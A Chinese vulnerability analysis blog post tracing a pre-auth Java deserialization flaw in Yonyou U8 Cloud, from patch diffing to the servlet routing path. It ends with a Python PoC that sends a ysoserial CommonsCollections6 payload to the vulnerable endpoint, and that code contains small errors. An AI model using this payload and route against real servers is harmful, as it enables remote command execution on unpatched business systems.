写在前面
用友U8 cloud反序列化漏洞是一个前台的反序列化漏洞,这篇文章有保姆级别环境搭建与漏洞分析、POC等,感谢World师傅投稿分享。
目录
0x01 影响版本
0x02 环境搭建
0x03 漏洞分析
0x04 参考
0x05 总结
影响版本
U8CLOUD v1.0-v3.6
U8CLOUD v3.6sp-v5.0
环境搭建
安装,在下载的文件中有一个安装指南 然后跟着安装指南按照到下图这个位置就行了
安装到这个位置后就直接不用管了
然后访问http: ip:port/ 这里的port为安装时候设置的显示这样就是可以了
漏洞分析
这个漏洞是通过官网的漏洞补丁和前两天发布的漏洞通告进行分析的
https://security.yonyou.com/%23/patchInfo?foreignKey=774c7e1f220a411dbd8eb3382c4797d5
https://x.threatbook.com/v5/article?threatInfoID=95159
我们先来看一下漏洞通告
漏洞通告中可以看到对应的漏洞请求路径
然后看一下官网的补丁包
这里通过官网的补丁包 可以确定漏洞位置在FileManageServlet文件里面 然后我们就打开文件对比工具看一下
这里记住要用idea打开class文件 或者其他工具反编译class文件 在复制出去对比 不要直接使用java文件
这里哪怕你不去细看代码的作用也能看出漏洞点是在下面的readobject的位置,而官方修复则是加了一个内部方法,这个方法的作用应该是通过if判断进行了筛选(感兴趣的可以自己细看一下)
那我们就打开这个文件看一下
这里可以明显看出我们只要传入一个危险的request参数,然后他就会通过getinputstream()方法来获取这个传参的date数据
好那么我们这里知道了只要通过post传参进入到这个方法 那么就会触发readObject()方法 然后就能进行反序列化,达到命令执行的效果
然后我们来看一下哪个位置调用了这个方法
搜索了一下 发现只有一个地方调用了这个方法 但是这里的传参类型不同 因此不是调用的这个方法
那么我们就换个思路,来看看路由
在通告中我们得知 这个漏洞的路由为 /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet
那我们就来看一下
找了一会只找到了/servlet/的路由 我们进去看一下把
这里看到了路由的对应请求类进去看一下
进来后可以看到里面有一个doPost和doGet方法 都调用了doAction方法 那我们就看一下这个doAction
这里第一条语句是获取request请求的url路径
通过gpt我们可以得知会获取到servlet路径后面的部分
这里我们得知pathInfo肯定不为空所以跳过if 然后trim方法是对获取到的路径进行左右去空
这里对路径进行了if判断 如果路径为/~开头那么就进入if,这里显然是进入if
这里主要是做了一个字符串切割的操作,先是对路径进行切割 把/~这两个开头的字符串切割掉,然后得到
uap/nc.impl.pub.filesystem.FileManageServlet
然后在对得到的这个字符串进行切割 把nc.impl.pub.filesystem.FileManageServlet这部分字符串赋值给
serviceName把uap这部分赋值给moduleName
上面这个因为知道上面进行了赋值所以不进入if 不管
下面这个可以看到先进行字符串切割,切割因为字符串中没有/符号所以这里是-1,然后进行了if判断,但是这个可以看到因为
beginIndex等于-1 所以第二条条件是不满足的因此不进入if
这里又进行了字符串切割上面因为beginIndex等于-1,因此这里的字符串切割等于没切割 所以不管,然后我们看一下这个调用的方法
这里可以得知 serviceName = nc.impl.pub.filesystem.FileManageServlet moduleName = uap
这里可以明显看到进来后是使用serviceObjMap.get方法 传入 uap:nc.impl.pub.filesystem.FileManageServlet
参数 然后获取了一个对象如果没有获取到这个对象那么就会通过反射的方法创建serviceName这个参数的一个对象
而serviceName这个参数则是nc.impl.pub.filesystem.FileManageServlet 那么这个参数正好是漏洞点的那个文件的类
我们还是来看一下serviceObjMap.get方法
这里可以看到是声明了一个内部静态属性,而且在init()实例化方法中使用了clear方法 进行清除内容
这里我们可以得知 obj变量为FileManageServlet的类实例 类型为Object,因此不进入这个if判断,因为这个if判断是判断obj是否为Servlet类型
也不进入else if 最后进入到else中
这里可以看到进行了if判断 因为不为空所以不管, 然后就是获取了一个反射类
然后使用反射类调用了getDeclaredMethod方法也就是获取了FileManageServlet类的指定方法 这里是获取了doAction方法并且传入的参数类型也设置为了request和response的对应类型
这里上面不管 然后下面这条就比较明显了,这里是调用了doAction这个方法传入的参数为传入当前方法的参数
我们现在在返回上面看一下、
这里可以看到可以用get传也可以用post传,但是因为在FileManageServlet方法里面使用了
request.getInputStream()方法获取参数,因此这里只能用post进行传参
漏洞位置和触发到这里就搞定了,我们接下来 来找一下反序列化的链子直接搜索commons
这里可以看到有commons-collections-3.2.1版本
我这里借鉴了su18大佬的文章
Java反序列化漏洞(二) - Commons Collections | 素十八 (su18.org)
https://su18.org/post/ysoserial-su18-2/
这个版本是可以直接使用cc6链的
那么我们只要通过/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet这个路由 然后post请求传入反序列化的二进制数据 就可以进行命令执行了
这里我们用ysoserial工具,这里有一个小坑
因为我们这个漏洞是没有base64编码的 所以如果你直接使用这个工具来打印出内容那么就会乱码
这样你肯定是用不了的,如果你使用python打印出来
就会是这个样子,还是用不了
那么这里就需要直接使用python获取到二进制数据后直接发送了
poc
import requests
def run_command(command):
try:
result = subprocess.run([r'java路径', '-jar', r'ysoserial工具路径', 'CommonsCollections6',command], capture_output=True)
output = result.stdout # 获取标准输出结果
error = result.stderr
if error is not None:
error = error.strip()
if result.returncode = 0:
return output
else:
return f"Error: {error}"
except Exception as e:
return str(e)
# 在命令行中执行 "calc" 命令并获取结果
command_output = run_command("calc")
url = "http: 192.168.168.129:8088/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet" status = requests.post(url,data=command_output).status_code
print(status)
那么使用python进行请求就可以成功利用了
参考
https://x.threatbook.com/v5/article?threatInfoID=95159
https://security.yonyou.com/#/patchInfoforeignKey=774c7e1f220a411dbd8eb3382c4797d5
总结
这个漏洞是我第一次1day分析中间还是卡了一阵子的,导致晚了1周,不算新鲜,还是学到一些东西,总体来说还是比较简单的反序列化漏洞
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。